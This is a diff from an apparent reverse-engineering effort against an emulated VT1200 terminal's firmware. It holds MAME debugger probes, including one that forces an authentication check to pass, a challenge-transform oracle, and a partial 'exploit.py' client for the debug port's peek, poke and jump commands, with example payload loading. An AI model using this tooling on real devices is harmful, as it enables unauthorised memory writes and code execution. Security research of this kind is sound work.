007C8E10: 1000 0000 1040 0040 1040 8040 0040 8000 ....@.@.@.@.@...
007C8E90: 0040 0040 0000 8040 1000 0040 1040 8040 @.@...@...@.@.@.
007C8F10: 0040 8000 0000 0000 0000 0000 1000 0040 @.............@.
007C8F90: 1040 0000 0040 0040 0040 8040 0000 8000 @...@.@.@.@.....
007C9010: 1000 8040 1040 8000 1040 8000 0040 0000 ..@.@...@...@...
007C9090: 1040 8040 0040 8000 0000 8000 1000 0000 @.@.@...........
007C9110: 0000 8040 1000 8000 1040 0040 0040 8040 ..@.....@.@.@.@.
007C9190: 1000 8000 1040 0000 0000 0040 1000 8040 ....@.....@...@.
007C9210: 0040 0000 0000 0040 1000 0000 1040 0040 @.....@.....@.@.
007C9290: 0080 0000 0080 0104 0000 0104 0080 2100 ...............!
007C9310: 0000 0004 0080 0000 0000 2000 0000 0104 ........... ....
007C9390: 0080 2004 0000 0004 0080 0100 0080 2004 ... ...........
007C9410: 0080 2100 0000 2104 0080 0004 0000 2000 ...!...!.......
007C9490: 0000 0100 0000 2004 0000 2004 0000 0000 ....... ... ....
007C9510: 0080 2000 0080 2104 0080 2104 0080 0100 ... ...!...!....
007C9590: 0000 2104 0080 2000 0000 0000 0000 2100 ...!... .......!
007C9610: 0080 0104 0000 0100 0000 2100 0080 0004 ...........!....
007C9690: 0000 0004 0080 2100 0080 0000 0000 0100 .......!........
007C9710: 0000 2000 0000 0104 0080 2100 0080 2004 ... .......!...
007C9790: 0080 0100 0000 2000 0000 2104 0080 0104 ....... ...!....
007C9810: 0080 2004 0080 0000 0000 0100 0000 2104 ... ...........!
007C9890: 0080 2104 0080 0004 0000 2100 0080 2104 ...!.......!...!
007C9910: 0000 0104 0000 0000 0000 2004 0000 2100 ........... ...!
007C9990: 0080 0004 0080 0100 0080 2000 0000 0004 ........... ....
007C9A10: 0000 0000 0000 2004 0080 0104 0080 2000 ....... .......
007C9A90: 0008 1000 0000 1020 2000 0000 2008 1020 ...... .. ... .
007C9B10: 0000 1020 0008 0000 2008 1020 0000 0020 .. ...... ... .
007C9B90: 2000 1000 2008 0020 0000 0020 0008 1000 . ... ... .....
007C9C10: 0008 0020 2000 1000 0000 1000 2008 0000 .. .. ....... ..
007C9C90: 0000 0000 0008 0020 2008 1000 2000 0000 ...... .. ... ..
007C9D10: 2000 0020 2008 1000 0008 0000 0008 1020 . .. ........ .
007C9D90: 0008 1020 0000 0000 2008 0020 2000 1020 .. ...... .. .
007C9E10: 2008 0000 2000 0020 2000 1020 0000 1000 . ... .. .....
007C9E90: 2000 1000 0008 0000 0008 1020 2000 0020 . ........ .. .
007C9F10: 2008 1020 0000 0020 2008 0000 0008 1000 . ... .. ......
007C9F90: 0000 0020 2000 1000 0000 1000 2008 0000 .. .. ....... ..
007CA010: 0008 1000 2008 1020 2000 0020 0000 1020 ..... .. ... .
007CA090: 2008 0020 2000 1020 0000 0000 0008 1020 . .. ....... .
007CA110: 0008 0000 2000 0000 0000 1020 2008 0020 ..... .... .. .
007CA190: 2000 0000 0008 0020 2008 1000 0000 0000 . .... .. ......
007CA210: 2000 1020 0000 1000 0008 0020 2008 1000 . ....... .. ..
007CA290: 0000 0010 0001 0210 0401 0200 0000 0000 ................
007CA310: 0400 0000 0401 0200 0401 0010 0400 0210 ................
007CA390: 0401 0210 0000 0010 0000 0000 0001 0200 ................
007CA410: 0001 0000 0000 0200 0001 0210 0401 0000 ................
007CA490: 0400 0200 0401 0010 0001 0010 0400 0200 ................
007CA510: 0001 0200 0000 0210 0400 0210 0001 0010 ................
007CA590: 0000 0210 0400 0000 0401 0000 0401 0210 ................
007CA610: 0400 0010 0001 0000 0000 0200 0400 0010 ................
007CA690: 0000 0200 0400 0010 0000 0010 0401 0200 ................
007CA710: 0401 0200 0001 0210 0001 0210 0001 0000 ................
007CA790: 0001 0010 0000 0200 0400 0200 0000 0010 ................
007CA810: 0400 0210 0401 0000 0401 0010 0400 0210 ................
007CA890: 0401 0000 0001 0200 0401 0210 0000 0210 ................
007CA910: 0400 0010 0000 0000 0001 0000 0401 0210 ................
007CA990: 0000 0000 0401 0010 0000 0210 0400 0000 ................
007CAA10: 0001 0200 0400 0200 0400 0000 0001 0010 ................
007CAA90: 0820 0800 0800 0000 0000 0002 0820 0802 ........... ...
007CAB10: 0000 0800 0820 0800 0020 0000 0000 0800 .... ... .......
007CAB90: 0020 0002 0000 0802 0820 0802 0800 0002 ....... .......
007CAC10: 0800 0802 0820 0002 0800 0000 0020 0000 .... ....... ...
007CAC90: 0000 0802 0020 0800 0800 0800 0820 0000 .... ....... ...
007CAD10: 0800 0002 0020 0002 0020 0802 0800 0802 .... ... .......
007CAD90: 0820 0000 0000 0000 0000 0000 0020 0802 ........... ...
007CAE10: 0020 0800 0800 0800 0820 0002 0000 0002 ....... .......
007CAE90: 0820 0002 0000 0002 0800 0802 0800 0000 ...............
007CAF10: 0020 0000 0020 0802 0800 0000 0820 0002 ... ....... ...
007CAF90: 0800 0800 0020 0000 0020 0800 0000 0802 .... ... .......
007CB010: 0020 0802 0000 0800 0000 0002 0820 0800 ........... ...
007CB090: 0000 0000 0820 0802 0020 0002 0020 0800 .... ... ... ...
007CB110: 0000 0802 0800 0800 0820 0800 0000 0000 ........ .......
007CB190: 0820 0802 0800 0002 0800 0002 0820 0000 ........... ...
007CB210: 0820 0000 0020 0002 0000 0800 0800 0802 ... ...........
007CB290: 0440 0000 B6D0 007C 3E2C 021F 3001 0D08 @.....|.,>...0..
007CB310: 232D 1F28 -#(.
+10
View File
@@ -0,0 +1,10 @@
serving 29 names on ('192.168.99.1', 69)
names: 69, 69/baseline.pcf, 69/evil.pcf, 69/fonts.dir, 69/v1200a.pcf, ROM, X11/baseline.pcf, X11/evil.pcf, X11/fonts.dir, X11/v1200a.pcf, baseline.pcf, evil.pcf, font, font/baseline.pcf, font/evil.pcf, font/fonts.dir, font/v1200a.pcf, fonts, fonts.dir, fonts/baseline.pcf, fonts/evil.pcf, fonts/fonts.dir, fonts/v1200a.pcf, misc/baseline.pcf, misc/evil.pcf, misc/fonts.dir, misc/v1200a.pcf, real.pcf, rom
bootp: L2 responder on tap-mess-1000-0: handing out 192.168.99.2, siaddr 192.168.99.1 (src mac c6:fc:cc:16:f5:66)
bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0)
bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0)
bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0)
bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0)
bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0)
bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0)
bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0)
+34
View File
@@ -0,0 +1,34 @@
Warning: -video none doesn't make much sense without -seconds_to_run
vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
vt1200: scanline#1 line=1 enabled=1
vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
PTRS frame1 @1C0200=00000000 @1C0220=00000000 @1C0240=00000000 @1C0260=00000000
vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
vt1200: scanline#2 line=0 enabled=1
vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
vt1200: scanline#3 line=1 enabled=1
vt1200: scanline#4 line=2 enabled=1
--- 0x1BE800 @bit 0x1BE800 (byte 0x37D00)
00 00 55 F8 61 C7 E5 13 11 D4 C8 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 3A 32 2A 22 1A 12 0A 02
3C 34 2C 24 1C 14 0C 04 3E 36 2E 26 1E 16 0E 06
40 38 30 28 20 18 10 08 39 31 29 21 19 11 09 01
3B 33 2B 23 1B 13 0B 03 3D 35 2D 25 1D 15 0D 05
3F 37 2F 27 1F 17 0F 07 28 08 30 10 38 18 40 20
27 07 2F 0F 37 17 3F 1F 26 06 2E 0E 36 16 3E 1E
25 05 2D 0D 35 15 3D 1D 24 04 2C 0C 34 14 3C 1C
23 03 2B 0B 33 13 3B 1B 22 02 2A 0A 32 12 3A 1A
21 01 29 09 31 11 39 19 39 31 29 21 19 11 09 01
3A 32 2A 22 1A 12 0A 02 3B 33 2B 23 1B 13 0B 03
3C 34 2C 24 3F 37 2F 27 1F 17 0F 07 3E 36 2E 26
1E 16 0E 06 3D 35 2D 25 1D 15 0D 05 1C 14 0C 04
01 02 04 06 08 0A 0C 0E 0F 11 13 15 17 19 1B 1C
0E 11 0B 18 01 05 03 1C 0F 06 15 0A 17 13 0C 04
1A 08 10 07 1B 14 0D 02 29 34 1F 25 2F 37 1E 28
33 2D 21 30 2C 31 27 38 22 35 2E 2A 32 24 1D 20
0E 04 0D 01 02 0F 0B 08 03 0A 06 0C 05 09 00 07
00 0F 07 04 0E 02 0D 01 0A 06 0C 0B 09 05 03 08
PTRS frame3000 @1C0200=00000000 @1C0220=00000000 @1C0240=00000000 @1C0260=00000000
Average speed: 371.95% (41 seconds)
+34
View File
@@ -0,0 +1,34 @@
-- dump_static.lua -- dump the 128-byte block at bit 0x1BE810 (the source the
-- challenge expands) and the table pointers, at frame 3000.
local machine = manager.machine
local cpu = machine.devices[':maincpu']
local dbg = machine.debugger
local space = cpu.spaces['program']
if not dbg then machine:exit(); return end
dbg.visible_cpu = cpu
local f = 0
local function dump(label, bit, n)
local t = {}
print(string.format("--- %s @bit 0x%X (byte 0x%X)", label, bit, bit >> 3))
for i = 0, n - 1 do
t[#t + 1] = string.format("%02X", space:read_u8(bit + i * 8))
if (#t == 16) then print(table.concat(t, " ")); t = {} end
end
if #t > 0 then print(table.concat(t, " ")) end
end
emu.register_frame_done(function()
f = f + 1
if f == 1 then
print(string.format("PTRS frame1 @1C0200=%08X @1C0220=%08X @1C0240=%08X @1C0260=%08X",
space:read_u32(0x1c0200), space:read_u32(0x1c0220),
space:read_u32(0x1c0240), space:read_u32(0x1c0260)))
end
if f == 3000 then
dump("0x1BE800", 0x1be800, 320)
print(string.format("PTRS frame3000 @1C0200=%08X @1C0220=%08X @1C0240=%08X @1C0260=%08X",
space:read_u32(0x1c0200), space:read_u32(0x1c0220),
space:read_u32(0x1c0240), space:read_u32(0x1c0260)))
machine:exit()
end
end, "dump-static")
dbg.execution_state = 'run'
+62
View File
@@ -0,0 +1,62 @@
-- gate_branch.lua -- does the *real* gate code take the accept branch?
--
-- The static note read the gate as "u16 at 0xAECD2, reject when non-zero".
-- The listing actually does SETF 2 (a 2-BIT field) then MOVE @0xAECD2, so the
-- compared value is bits 2..3 of the word at 0xAECD0. This script samples that
-- field, then at frame 1000 arms a breakpoint on the instruction the CPU is
-- currently executing and uses its action to set PC to the gate sequence
-- (0x3F58B280 = SETF 2 / MOVE @0xAECD2,A7 / JREQ). Breakpoints at both
-- targets tell us which way the firmware's own compare goes.
--
-- `go <addr>` cannot be used: MAME's go() sets a *stop* address, not the PC.
-- Breakpoints must be armed from a frame callback; debugger printf needs
-- -debuglog.
local machine = manager.machine
local cpu = machine.devices[':maincpu']
local dbg = machine.debugger
local space = cpu.spaces['program']
if not dbg then machine:exit(); return end
dbg.visible_cpu = cpu
local samples = { [0]=true, [1]=true, [10]=true, [50]=true, [100]=true, [200]=true,
[300]=true, [600]=true, [1000]=true, [3000]=true }
local f = 0
local armed = false
local jumped = false
local function field()
local w = space:read_u16(0xaecd0)
return (w >> 2) & 3, w
end
emu.register_frame_done(function()
f = f + 1
if f == 1 and not armed then
armed = true
dbg:command('bpset 3F58B2D0,,{ printf "GATE-TARGET REJECT pc=%08X a7=%08X\\n", pc, a7 ; g }')
dbg:command('bpset 3F58B430,,{ printf "GATE-TARGET ACCEPT pc=%08X a7=%08X\\n", pc, a7 ; g }')
print("armed gate-target breakpoints at frame 1")
end
if samples[f] then
local v, w = field()
print(string.format("SAMPLE frame %5d word@0xAECD0=%04X field(bits2..3)=%d", f, w, v))
end
if f == 1000 and not jumped then
jumped = true
local pc = cpu.state['PC'].value
local bytes = {}
for i = 0, 15 do
bytes[#bytes+1] = string.format("%02X", space:read_u8(0xaec80 + i * 8))
end
print("BYTES @bit 0xAEC80 (byte 0x" .. string.format("%X", 0xaec80 >> 3) .. "): " ..
table.concat(bytes, " "))
print(string.format("ARM redirect at current pc=%08X -> 3F58B280", pc))
dbg:command(string.format(
'bpset %08X,,{ printf "REDIRECT from %%08X\\n", pc ; pc = 3F58B280 ; g }', pc))
end
if f >= 1100 then
print("--- timed out without hitting a gate target")
machine:exit()
end
end, "gate-branch")
dbg.execution_state = 'run'
+102
View File
@@ -0,0 +1,102 @@
-- gate_probe.lua -- Phase 1 of the rdebug exploit attempt.
--
-- * sample the two 16-bit config words at bit 0xAECD0 / 0xAECD2 across boot
-- * catch every write to that region (who writes 0x8070, and when)
-- * log the store instructions and the config-object pointers statically found
--
-- Diagnostic only: reads memory. Does not write anything.
--
-- Breakpoints/watchpoints are armed from the frame-1 callback, not at script
-- load: commands issued before dbg.execution_state='run' do not fire. Debugger
-- printf output requires -debuglog (it goes to ./debug.log, not stdout).
--
-- <mame> vt1200 -rompath <abs>/harness/mame/roms -video none -sound none \
-- -nothrottle -debug -debugger none -debuglog -nvram_directory <abs>/nvram \
-- -autoboot_script <abs>/gate_probe.lua -autoboot_delay 0
local machine = manager.machine
local cpu = machine.devices[':maincpu']
local dbg = machine.debugger
local space = cpu.spaces['program']
if not dbg then
print("GATE ERROR: debugger not enabled; pass -debug")
machine:exit()
return
end
dbg.visible_cpu = cpu
local function u16(a) return space:read_u16(a) end
local function u32(a) return space:read_u32(a) end
local function u8(a) return space:read_u8(a) end
local function str_at(bitptr, max)
local out = {}
for i = 0, (max or 96) - 1 do
local c = u8(bitptr + i * 8)
if c == 0 then break end
if c >= 32 and c < 127 then out[#out + 1] = string.char(c)
else out[#out + 1] = string.format("\\x%02X", c) end
end
return table.concat(out)
end
local samples = { [0]=true, [1]=true, [10]=true, [50]=true, [100]=true, [200]=true,
[600]=true, [1000]=true, [2000]=true, [3000]=true, [4000]=true, [5000]=true }
local frames = 0
local armed = false
local function arm()
-- Every write into the 8 bytes around the two words. wpset works in the
-- program space's address unit = 1 bit, so length 0x40 covers 8 bytes.
dbg:command('wpset 0xaecc0,0x40,w,,{ printf "WP cfg bit=%08X data=%04X pc=%08X\\n", wpaddr, wpdata, pc ; g }')
local stores = {
{ 0x3F329F00, "STORE aecd0" },
{ 0x3F32A050, "STORE aecd2" },
{ 0x3F32A1A0, "STORE aed51" },
{ 0x3F32A2F0, "STORE aed52" },
{ 0x3F32A440, "STORE aed53" },
{ 0x3F32A590, "STORE aed54" },
}
for _, s in ipairs(stores) do
dbg:command(string.format(
'bpset %08X,,{ printf "%s pc=%%08X a7=%%08X a11=%%08X a8=%%08X a13=%%08X\\n", pc, a7, a11, a8, a13 ; g }',
s[1], s[2]))
end
end
local function dump_items()
print("--- config item cells (values as the boot config code reads them)")
local slots = { 0x155830, 0x1565b0, 0x156c70, 0x157330, 0x1579f0,
0x1580b0, 0x152230, 0x1514b0, 0x11a4b0 }
for _, a in ipairs(slots) do
print(string.format(" @0x%06X = 0x%08X", a, u32(a)))
end
local t = {}
for i = 0, 15 do t[#t + 1] = string.format("%02X", u8(0xaec80 + i * 8)) end
print("--- bytes @bit 0xAEC80: " .. table.concat(t, " "))
print(string.format("--- word @0xAECD0 = 0x%04X, 2-bit fields: [0]=%d [1]=%d [2]=%d [3]=%d",
u16(0xaecd0), (u16(0xaecd0) >> 0) & 3, (u16(0xaecd0) >> 2) & 3,
(u16(0xaecd0) >> 4) & 3, (u16(0xaecd0) >> 6) & 3))
end
emu.register_frame_done(function()
frames = frames + 1
if frames == 1 and not armed then
armed = true
arm()
end
if samples[frames] then
print(string.format("SAMPLE frame %5d @0xAECD0=%04X @0xAECD2=%04X pc=%08X",
frames, u16(0xaecd0), u16(0xaecd2), cpu.state['PC'].value))
end
if frames == 3000 then
dump_items()
end
if frames >= tonumber(os.getenv("PROBE_END") or "5000") then
print(string.format("--- done at frame %d", frames))
machine:exit()
end
end, "vt1200-gate-probe")
dbg.execution_state = 'run'
+78
View File
@@ -0,0 +1,78 @@
-- live_probe.lua -- emulator-side evidence for the rdebug TCP attempt.
--
-- Armed from the frame-1 callback (commands before execution do not fire).
-- Prints to ./debug.log because the harness is started with -debuglog.
-- `dump` writes the exact memory the firmware works on.
local machine = manager.machine
local cpu = machine.devices[':maincpu']
local dbg = machine.debugger
local space = cpu.spaces['program']
if not dbg then machine:exit(); return end
dbg.visible_cpu = cpu
local D = "/home/arti/code/k-space/vt1200/dwt/evidence/run-live"
local MAGIC1 = 0x01810000
local MAGIC2 = 0x01810010
local COUNT = 0x01810020
local VRAM = 0x04019040
local f = 0
local armed = false
local done_at = nil
local function report_magic(tag)
print(string.format("LIVE %s: MAGIC1=%04X MAGIC2=%04X COUNT=%04X",
tag, space:read_u16(MAGIC1), space:read_u16(MAGIC2), space:read_u16(COUNT)))
local filled, holes = 0, 0
for r = 0, 63 do
for c = 0, 15 do
if space:read_u16(VRAM + r * 1024 + c * 16) == 0xFFFF then
filled = filled + 1
else
holes = holes + 1
end
end
end
print(string.format("LIVE %s: VRAM block %d/1024 words FFFF, %d holes", tag, filled, holes))
end
emu.register_frame_done(function()
f = f + 1
if f == 1 and not armed then
armed = true
dbg:command('bpset 3F58AD60,,{ printf "LIVE accept_debug_conn entry pc=%08X\\n", pc ; g }')
dbg:command('bpset 3F59F320,,{ printf "LIVE dispatcher entry pc=%08X\\n", pc ; g }')
dbg:command('bpset 3F59FDC0,,{ printf "LIVE dwt_prf challenge entry pc=%08X\\n", pc ; g }')
dbg:command('bpset 3F5A0200,,{ printf "LIVE challenge sent a13=%08X\\n", a13 ; dump ' .. D .. '/chal_sent.bin,a13,64 ; g }')
-- transform called with the reply buffer (a13+16 bytes = +128 bits)
dbg:command('bpset 3F5A0740,,{ printf "LIVE pre-transform a13=%08X reply=%08X\\n", a13, d@(a13+128) ; dump ' .. D .. '/reply_in.bin,a13+128,64 ; g }')
-- inside 0x3F5ABA40: after the first font render, a13 holds its 8-byte locals
dbg:command('bpset 3F5ABB00,,{ printf "LIVE cipher-in a13=%08X keyptr=%08X sboxptr=%08X\\n", a13, d@0x1c0260, d@0x1c0200 ; dump ' .. D .. '/cipher_in.bin,a13,64 ; dump ' .. D .. '/key.bin,d@0x1c0260,256 ; dump ' .. D .. '/sbox.bin,d@0x1c0200,4096 ; g }')
-- inside 0x3F5ABA40: locals hold the ciphertext before the final render
dbg:command('bpset 3F5AC620,,{ printf "LIVE cipher-out a13=%08X keyptr=%08X\\n", a13, d@0x1c0260 ; dump ' .. D .. '/cipher_out.bin,a13,64 ; g }')
dbg:command('bpset 3F5A08E0,,{ printf "LIVE memcmp-args a9=%08X a11=%08X\\n", a9, a11 ; dump ' .. D .. '/cmp_a9.bin,a9,64 ; dump ' .. D .. '/cmp_a11.bin,a11,64 ; g }')
-- DEBUGGER-ASSISTED: force the challenge comparison to "equal" so the
-- real poke/jump handlers can be exercised over TCP. This is NOT a
-- remote bypass -- it is only here to test the loader behind gate B.
dbg:command('bpset 3F5A0920,,{ printf "LIVE challenge memcmp FORCED a8=%08X -> 0\\n", a8 ; a8 = 0 ; g }')
dbg:command('bpset 3F5A1B50,,{ printf "LIVE rdebug_poke entry pc=%08X\\n", pc ; g }')
dbg:command('bpset 3F5A3890,,{ printf "LIVE rdebug_jump entry pc=%08X\\n", pc ; g }')
print("LIVE armed emulator-side breakpoints")
end
if f % 500 == 0 then
print(string.format("LIVE frame %5d word@0xAECD0=%04X field2..3=%d",
f, space:read_u16(0xaecd0), (space:read_u16(0xaecd0) >> 2) & 3))
end
if done_at == nil and space:read_u16(MAGIC1) == 0xDEAD then
done_at = f
report_magic("payload-ran")
local ok, err = pcall(function()
machine.screens[1]:snapshot(D .. "/loader_frame.png")
end)
print("LIVE snapshot " .. (ok and "saved" or ("failed: " .. tostring(err))))
end
if done_at and f >= done_at + 120 then
print(string.format("LIVE exiting at frame %d (payload seen at %d)", f, done_at))
machine:exit()
end
end, "vt1200-live-probe")
dbg.execution_state = 'run'
+90
View File
@@ -0,0 +1,90 @@
#!/usr/bin/env python3
"""Oracle for the dwt_prf transform on the live MAME terminal.
Each query opens a fresh connection, sends opcode 7, reads the 16-byte
challenge, sends our own 16-byte reply, and then reads the reply buffer that
the firmware dumped at the memcmp (dwt/evidence/run-live/cmp_a11.bin).
The transform is per 8-byte record, so the first 8 output bytes answer the
first 8 input bytes.
"""
import socket, struct, sys, time, re
HOST, PORT = "192.168.99.2", 771
DUMP = "/home/arti/code/k-space/vt1200/dwt/evidence/run-live/cmp_a11.bin"
def recv_frame(s):
h = s.recv(4)
if len(h) < 4:
raise EOFError
n = struct.unpack(">I", h)[0]
b = b""
while len(b) < n:
c = s.recv(n - len(b))
if not c:
break
b += c
return b
def parse_dump(path):
words = []
try:
text = open(path).read()
except FileNotFoundError:
return b""
for line in text.splitlines():
m = re.match(r"^[0-9A-F]+:\s+(.*)$", line.strip())
if not m:
continue
for w in m.group(1).split():
if re.fullmatch(r"[0-9A-F]{4}", w):
v = int(w, 16)
words.append(v & 0xFF)
words.append(v >> 8)
return bytes(words)
def query(reply: bytes, settle=0.7) -> bytes:
assert len(reply) == 16
s = socket.create_connection((HOST, PORT), 5)
s.settimeout(5)
s.sendall(struct.pack(">I", 7))
ch = recv_frame(s)
if ch[0] != 0x7F:
raise RuntimeError(f"no challenge: {ch.hex()}")
s.sendall(reply)
time.sleep(0.2)
s.close()
time.sleep(settle)
return parse_dump(DUMP)
def main():
cases = {}
if len(sys.argv) > 1:
for arg in sys.argv[1:]:
name, hexs = arg.split("=", 1)
cases[name] = bytes.fromhex(hexs)
else:
cases = {
"zero": bytes(16),
"p0_01": bytes.fromhex("01" + "00" * 15),
"p0_02": bytes.fromhex("02" + "00" * 15),
"p0_03": bytes.fromhex("03" + "00" * 15),
"p0_10": bytes.fromhex("10" + "00" * 15),
"p0_20": bytes.fromhex("20" + "00" * 15),
"p0_30": bytes.fromhex("30" + "00" * 15),
"p0_80": bytes.fromhex("80" + "00" * 15),
"p0_ff": bytes.fromhex("ff" + "00" * 15),
"p1_01": bytes.fromhex("00" + "01" + "00" * 14),
"p7_01": bytes.fromhex("00" * 7 + "01" + "00" * 8),
}
for name, reply in cases.items():
out = query(reply)
print(f"{name}\tin={reply[:8].hex(' ')}\tout={out[:8].hex(' ')}")
sys.stdout.flush()
if __name__ == "__main__":
main()
+430
View File
@@ -0,0 +1,430 @@
#!/usr/bin/env python3
"""rdebug client -- the stock firmware's "DEBUG TCP Port" (771) console.
Protocol (see dwt/notes/rdebug-static.md and dwt/notes/EXPLOIT_ATTEMPT.md):
request = u32 be opcode + opcode arguments (each word be)
response = u32 be (payload_len + 1) + u8 flag + payload_len bytes
Before the first opcode >= 2 the dispatcher runs a 16-byte challenge
(dwt_prf, ROM bit 0x3F59FDC0): it sends one frame with flag 0x7F carrying 16
bytes and then reads exactly 16 raw bytes back. It compares the 16 bytes it
sent with the 16 bytes it received (the "transform" in between renders the
reply through the font code into a separate global buffer and does not modify
the reply buffer), so the answer is the challenge itself.
Examples:
# liveness -- opcode 7 is a no-op; the reply is 11 bytes
dwt/exploit.py --host 192.168.99.2 --opcode 7
# arbitrary read (bit address), 4 bytes of ROM
dwt/exploit.py --host 192.168.99.2 --peek 0x3F200000 --len 4
# write and read back a RAM marker (addresses are TMS34010 BIT addresses)
dwt/exploit.py --host 192.168.99.2 --poke 0x01820000 --hex DEAD
dwt/exploit.py --host 192.168.99.2 --peek 0x01820000 --len 2
# load harness/hello-world/payload.bin (82 bytes, linked at bit 01800000)
# and call it; the payload spins, so --jump times out by design
dwt/exploit.py --host 192.168.99.2 \
--poke-file 0x01800000 --file harness/hello-world/payload.bin \
--jump 0x01800000 --jump-wait 2
# build the frames without opening a socket
dwt/exploit.py --opcode 7 --dry-run
"""
from __future__ import annotations
import argparse
import socket
import struct
import sys
import time
OP_NAMES = {
0: "pager (exits after)",
1: "printfs off",
2: "peek",
3: "poke",
4: "jump",
5: "printfs on",
6: "start_telnet",
7: "no-op / liveness",
8: "display_message",
9: "usage_stats",
}
MAX_XFER = 0x400 # the firmware clamps peek/poke to 1024 bytes
CHALLENGE_FLAG = 0x7F
class ProtocolError(RuntimeError):
pass
def be32(value: int) -> bytes:
return struct.pack(">I", value & 0xFFFFFFFF)
def parse_int(text: str) -> int:
"""Accept 0x..., decimal, or a bare hex value (firmware addresses usually
contain A-F, so bare tokens are read as hex)."""
text = text.strip().replace("_", "")
if text.lower().startswith("0x"):
return int(text, 16)
if any(c in "abcdefABCDEF" for c in text):
return int(text, 16)
return int(text, 10)
def parse_hex(text: str) -> bytes:
text = "".join(text.split()).replace(":", "").replace(",", "")
if text.lower().startswith("0x"):
text = text[2:]
if len(text) % 2:
text = "0" + text
return bytes.fromhex(text)
class RDebug:
def __init__(self, host: str, port: int, timeout: float, verbose: bool):
self.host = host
self.port = port
self.timeout = timeout
self.verbose = verbose
self.sock: socket.socket | None = None
self.challenged = False
self.challenge_type = "echo"
self.challenge_raw: bytes | None = None
# ---- transport -------------------------------------------------------
def connect(self) -> None:
self.sock = socket.create_connection((self.host, self.port), self.timeout)
self.sock.settimeout(self.timeout)
if self.verbose:
print(f"[.] connected to {self.host}:{self.port}", file=sys.stderr)
def close(self) -> None:
if self.sock is not None:
try:
self.sock.close()
finally:
self.sock = None
def send_raw(self, data: bytes) -> None:
assert self.sock is not None
if self.verbose:
print(f"[>] {data.hex(' ')}", file=sys.stderr)
self.sock.sendall(data)
def recv_exact(self, n: int) -> bytes:
assert self.sock is not None
buf = bytearray()
while len(buf) < n:
chunk = self.sock.recv(n - len(buf))
if not chunk:
raise ProtocolError(
f"connection closed after {len(buf)}/{n} bytes")
buf += chunk
return bytes(buf)
def read_frame(self) -> tuple[int, bytes]:
"""Return (flag, payload). Raises ProtocolError on malformed framing."""
head = self.recv_exact(4)
(length,) = struct.unpack(">I", head)
if length == 0 or length > 0x10000:
raise ProtocolError(f"implausible frame length {length:#x}")
body = self.recv_exact(length) # flag + (length-1) payload
flag, payload = body[0], body[1:]
if self.verbose:
print(f"[<] len={length} flag={flag:#04x} payload={payload.hex(' ')}",
file=sys.stderr)
return flag, payload
# ---- challenge -------------------------------------------------------
@staticmethod
def challenge_answer(challenge: bytes, mode: str) -> bytes:
"""Compute the 16-byte answer.
The firmware stores four runtime words in host order at frame+0x20,
byte-swaps each one (`ntohl`, ROM 0x07F65828) into frame+0, and sends
*those* 16 bytes with flag 0x7F. After reading 16 bytes back it runs
them through a fixed-key font/cipher pipeline that rewrites the reply
buffer in place, and compares frame+0x20 (host order) with the result.
`echo` and `computed` implement the two layers that were established
live: `echo` returns the challenge unchanged; `computed` byte-swaps
each 32-bit word, which fixes the host/network order layer. The
firmware's in-place transform is a second, nonlinear layer; on the
tested image neither mode passes it (memcmp returns -1 for echo and 1
for computed). `--challenge-raw` allows a fully custom answer once the
transform is reversed.
"""
if len(challenge) != 16:
raise ProtocolError(f"challenge is {len(challenge)} bytes, not 16")
if mode == "echo":
return bytes(challenge)
if mode == "computed":
out = bytearray()
for i in range(0, 16, 4):
out += challenge[i:i + 4][::-1]
return bytes(out)
raise ValueError(mode)
def answer_challenge(self, challenge: bytes) -> None:
if self.challenge_raw is not None:
answer = self.challenge_raw
else:
answer = self.challenge_answer(challenge, self.challenge_type)
if self.verbose:
print(f"[.] answering {self.challenge_type} challenge with "
f"{answer.hex(' ')}", file=sys.stderr)
self.send_raw(answer)
self.challenged = True
def maybe_challenge(self, timeout: float | None = None) -> None:
"""Read a frame; if it is the 0x7F challenge, answer it and read on.
Returns the first non-challenge frame's (flag, payload) is handled by
the caller, so this method only *answers* a challenge it sees. It is
called before an opcode >= 2 and returns after the challenge frame has
been answered."""
assert self.sock is not None
old = self.sock.gettimeout()
if timeout is not None:
self.sock.settimeout(timeout)
try:
flag, payload = self.read_frame()
finally:
self.sock.settimeout(old)
if flag == CHALLENGE_FLAG:
self.answer_challenge(payload)
else:
# The server spoke before we sent an opcode; keep it as a warning.
print(f"[!] unexpected pre-opcode frame flag={flag:#x} "
f"payload={payload.hex(' ')}", file=sys.stderr)
# ---- commands --------------------------------------------------------
def command(self, opcode: int, args: bytes = b"", wait: bool = True,
wait_timeout: float | None = None) -> tuple[int, bytes]:
if opcode >= 2 and not self.challenged:
# Send ONLY the opcode: the dispatcher runs the 16-byte challenge
# before the handler reads its arguments. Sending the arguments
# early makes dwt_prf consume the first 16 bytes of them as the
# challenge answer and shifts every later field (observed live:
# peek complained "maximum peek size" because its length field had
# been eaten).
self.send_raw(be32(opcode))
self.challenged = True
flag, payload = self.read_frame()
if flag == CHALLENGE_FLAG:
self.answer_challenge(payload)
if args:
self.send_raw(args)
else:
self.send_raw(be32(opcode) + args)
if not wait:
return -1, b""
if wait_timeout is not None:
assert self.sock is not None
self.sock.settimeout(wait_timeout)
try:
return self.read_frame()
finally:
if wait_timeout is not None and self.sock is not None:
self.sock.settimeout(self.timeout)
def liveness(self, opcode: int = 7) -> tuple[int, bytes]:
return self.command(opcode)
def peek(self, bit_addr: int, length: int) -> bytes:
